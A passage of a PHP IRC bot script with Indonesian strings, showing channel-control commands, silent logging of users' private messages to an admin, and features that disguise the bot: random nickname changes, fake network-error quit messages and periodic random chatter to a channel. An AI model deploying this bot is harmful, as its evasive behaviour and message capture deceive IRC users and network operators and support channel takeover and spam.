|
|
elseif ($com[3]==':`k' && $com[4] && $chan) {
|
|||
|
|
$msg = strstr($data,":`k");
|
|||
|
|
$msg = str_replace(":`k $com[4]","",$msg);
|
|||
|
|
fputs($fp, 'KICK '.$chan.' '.$com[4].' :'.$msg . CRL);
|
|||
|
|
}
|
|||
|
|
elseif ($com[3]==':`kb' && $com[4] && $chan) {
|
|||
|
|
$msg = strstr($data,":`kb");
|
|||
|
|
$msg = str_replace(":`kb $com[4]","",$msg);
|
|||
|
|
fputs($fp, 'KICK '.$chan.' '.$com[4].' :'.$msg . CRL);
|
|||
|
|
fputs($fp, 'MODE '.$chan.' +b '.$com[4] . CRL);
|
|||
|
|
}
|
|||
|
|
elseif ($com[3]==':`ganti') {
|
|||
|
|
$nick = $nicky[rand(0,count($nicky) - 1)];
|
|||
|
|
fputs($fp, 'NICK '.$nick . CRL);
|
|||
|
|
if (substr($dCommand,0,3)=='433') {
|
|||
|
|
$nick = $nicky[rand(0,count($nicky) - 1)];
|
|||
|
|
fputs($fp, 'NICK '.$nick . CRL);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
elseif ($com[3]==':`op' && $chan) {
|
|||
|
|
if ($com[4]) { $opnick = $com[4]; }
|
|||
|
|
else { $opnick = $dNick; }
|
|||
|
|
fputs($fp, 'MODE '.$chan.' +ooo '.$opnick.' '.$com[5].' '.$com[6] . CRL);
|
|||
|
|
}
|
|||
|
|
elseif ($com[3]==':`deop' && $chan) {
|
|||
|
|
if ($com[4]) { $opnick = $com[4]; }
|
|||
|
|
else { $opnick = $dNick; }
|
|||
|
|
fputs($fp, 'MODE '.$chan.' -o+v-oo '.$opnick.' '.$opnick.' '.$com[5].' '.$com[6] . CRL);
|
|||
|
|
}
|
|||
|
|
elseif ($com[3]==':`v' && $chan) {
|
|||
|
|
if ($com[4]) { $vonick = $com[4]; }
|
|||
|
|
else { $vonick = $dNick; }
|
|||
|
|
fputs($fp, 'MODE '.$chan.' +vvv '.$vonick.' '.$com[5].' '.$com[6] . CRL);
|
|||
|
|
}
|
|||
|
|
elseif ($com[3]==':`dv' && $chan) {
|
|||
|
|
if ($com[4]) { $vonick = $com[4]; }
|
|||
|
|
else { $vonick = $dNick; }
|
|||
|
|
fputs($fp, 'MODE '.$chan.' -vvv '.$vonick.' '.$com[5].' '.$com[6] . CRL);
|
|||
|
|
}
|
|||
|
|
elseif ($com[3]==':`awaymsg' && $auth["$dNick"]["status"]=="Admin") {
|
|||
|
|
$msg = strstr($data,":`awaymsg");
|
|||
|
|
$msg = str_replace(":`awaymsg","",$msg);
|
|||
|
|
if (strlen($msg)<3) {
|
|||
|
|
$raway="on";
|
|||
|
|
fputs($fp,'AWAY : ' . 'AWAY' . CRL);
|
|||
|
|
} else {
|
|||
|
|
$raway="off";
|
|||
|
|
fputs($fp,'AWAY : ' . $msg . CRL);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
elseif ($com[3]==':`mode' && $com[4] && $chan) {
|
|||
|
|
fputs($fp, 'MODE '.$chan.' :'.$com[4].' '.$com[5] . CRL);
|
|||
|
|
}
|
|||
|
|
elseif ($com[3]==':`nickmode' && $com[4]) {
|
|||
|
|
$nickmode = $com[4];
|
|||
|
|
fputs($fp, 'MODE '.$nick.' :'.$nickmode . CRL);
|
|||
|
|
}
|
|||
|
|
elseif ($com[3]==':`chanlist') {
|
|||
|
|
fputs($fp, 'NOTICE '.$dNick.' :Channel List: '.$channels . CRL);
|
|||
|
|
}
|
|||
|
|
elseif ($com[3]==':`userlist') {
|
|||
|
|
$userlist="";
|
|||
|
|
foreach ($auth as $user) {
|
|||
|
|
if ($user["pass"]) { $pass="-pass ok"; }
|
|||
|
|
else { $pass="-no pass"; }
|
|||
|
|
$userlist .= $user["name"].'('.$user["status"].$pass.') ';
|
|||
|
|
}
|
|||
|
|
fputs($fp, 'NOTICE '.$dNick.' :User List: '.$userlist . CRL);
|
|||
|
|
}
|
|||
|
|
elseif ($com[3]==':`quit' && $auth["$dNick"]["status"]=="Admin") {
|
|||
|
|
$msg = strstr($data,":`quit");
|
|||
|
|
$msg = str_replace(":`quit","",$msg);
|
|||
|
|
if (strlen($msg)>3) {
|
|||
|
|
$msg = str_replace(" ","_",$msg);
|
|||
|
|
}
|
|||
|
|
$quit1 = array("ngantor","nguantuk","sama","brb","bye_all","s33_you","excess_flood","pingtimeout","hehe","bye","mandi","makan","muuah","quit","conection_reset_bay_peer","banned","part","leaving","ada_deh","call_me","wew","toronto.hub.dal.net_brodway.dal.net","no_komen","restart");
|
|||
|
|
$quitmsg = $quit1[rand(0,count($quit1) - 1)];
|
|||
|
|
fputs($fp, 'QUIT ' . $quitmsg . CRL);
|
|||
|
|
$keluar = 1;
|
|||
|
|
exit;
|
|||
|
|
}
|
|||
|
|
elseif ($com[3]==':`vhost' && $auth["$dNick"]["status"]=="Admin") {
|
|||
|
|
if ($com[4]) { $localhost = $com[4]; }
|
|||
|
|
else { $localhost = 'localhost'; }
|
|||
|
|
$keluar = 0;
|
|||
|
|
fputs($fp, 'QUIT ' . CRL);
|
|||
|
|
}
|
|||
|
|
elseif ($com[3]==':`jump' && $auth["$dNick"]["status"]=="Admin") {
|
|||
|
|
if (!eregi(".dal.net",$com[4])) {
|
|||
|
|
$remotehost = "irc.dal.net";
|
|||
|
|
} else { $remotehost = $com[4]; }
|
|||
|
|
$keluar = 0;
|
|||
|
|
fputs($fp, 'QUIT changging_server' . CRL);
|
|||
|
|
}
|
|||
|
|
elseif ($com[3]==':`ident' && $auth["$dNick"]["status"]=="Admin") {
|
|||
|
|
if (!$com[4]) {
|
|||
|
|
$username = $username;
|
|||
|
|
} else { $username = $com[4]; }
|
|||
|
|
$keluar = 0;
|
|||
|
|
fputs($fp, 'QUIT ganti_ident' . CRL);
|
|||
|
|
}
|
|||
|
|
elseif ($com[3]==':`fullname' && $auth["$dNick"]["status"]=="Admin") {
|
|||
|
|
if (!$com[4]) {
|
|||
|
|
$realname = "--";
|
|||
|
|
} else { $realname = $com[4]; }
|
|||
|
|
$keluar = 0;
|
|||
|
|
fputs($fp, 'QUIT ganti_fullname' . CRL);
|
|||
|
|
}
|
|||
|
|
elseif ($com[3]==':`topic' && $com[4] && $chan) {
|
|||
|
|
$msg = strstr($data,":`topic");
|
|||
|
|
$msg = str_replace(":`topic ","",$msg);
|
|||
|
|
fputs($fp, 'TOPIC '.$chan.' :'.$msg . CRL);
|
|||
|
|
}
|
|||
|
|
elseif ($com[3]==':!help' && !$chan) {
|
|||
|
|
fputs($fp,'PRIVMSG '.$dNick.' :Secret Help' . CRL);
|
|||
|
|
}
|
|||
|
|
} else { fputs($fp,'NOTICE '.$dNick.' :Please Auth First! Type: auth <your pass> To Authorized '. CRL); }
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
elseif (!$auth["$dNick"] && !eregi("auth",$iText)) {
|
|||
|
|
if (eregi("www.",$iText) || eregi("http:",$iText) || eregi("join #",$iText)) {
|
|||
|
|
if (!ereg("#",$dCommand)) {
|
|||
|
|
if ($log=="on") {
|
|||
|
|
fputs($fp,'PRIVMSG '. $Admin .' :4inviter: ' . $dFrom . '2:' .$iText. CRL);
|
|||
|
|
}
|
|||
|
|
$inv = strstr($dFrom,'@');
|
|||
|
|
foreach ($auth as $user) {
|
|||
|
|
if ($user["status"]=="user") {
|
|||
|
|
fputs($fp, 'NOTICE '.$user["name"].' :KB '.$chan.' '.$dNick.' '.$inv.'' . CRL);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
elseif (!ereg("#",$dCommand)) {
|
|||
|
|
if ($log=="on") {
|
|||
|
|
fputs($fp,'PRIVMSG '.$Admin.' :6' . $dFrom . '12:' .$iText. CRL);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
elseif (substr($data,0,4) == 'PING') {
|
|||
|
|
fputs($fp,'PONG ' . substr($data,5) . CRL);
|
|||
|
|
$smile = $querym[rand(0,count($querym) - 1)];
|
|||
|
|
$kata1 = $usr1[rand(0,count($usr1) - 1)].$usr1[rand(0,count($usr1) - 1)].$usr1[rand(0,count($usr1) - 1)];
|
|||
|
|
$kata2 = $usr1[rand(0,count($usr1) - 1)].$usr1[rand(0,count($usr1) - 1)].$usr1[rand(0,count($usr1) - 1)];
|
|||
|
|
fputs($fp,'PRIVMSG #whatz :' . $kata1 . ' ' . $kata2 . $smile . CRL);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
fclose ($fp);
|
|||
|
|
} while ($keluar==0);
|
|||
|
|
}
|
|||
|
|
working($nick);
|
|||
|
|
?>
|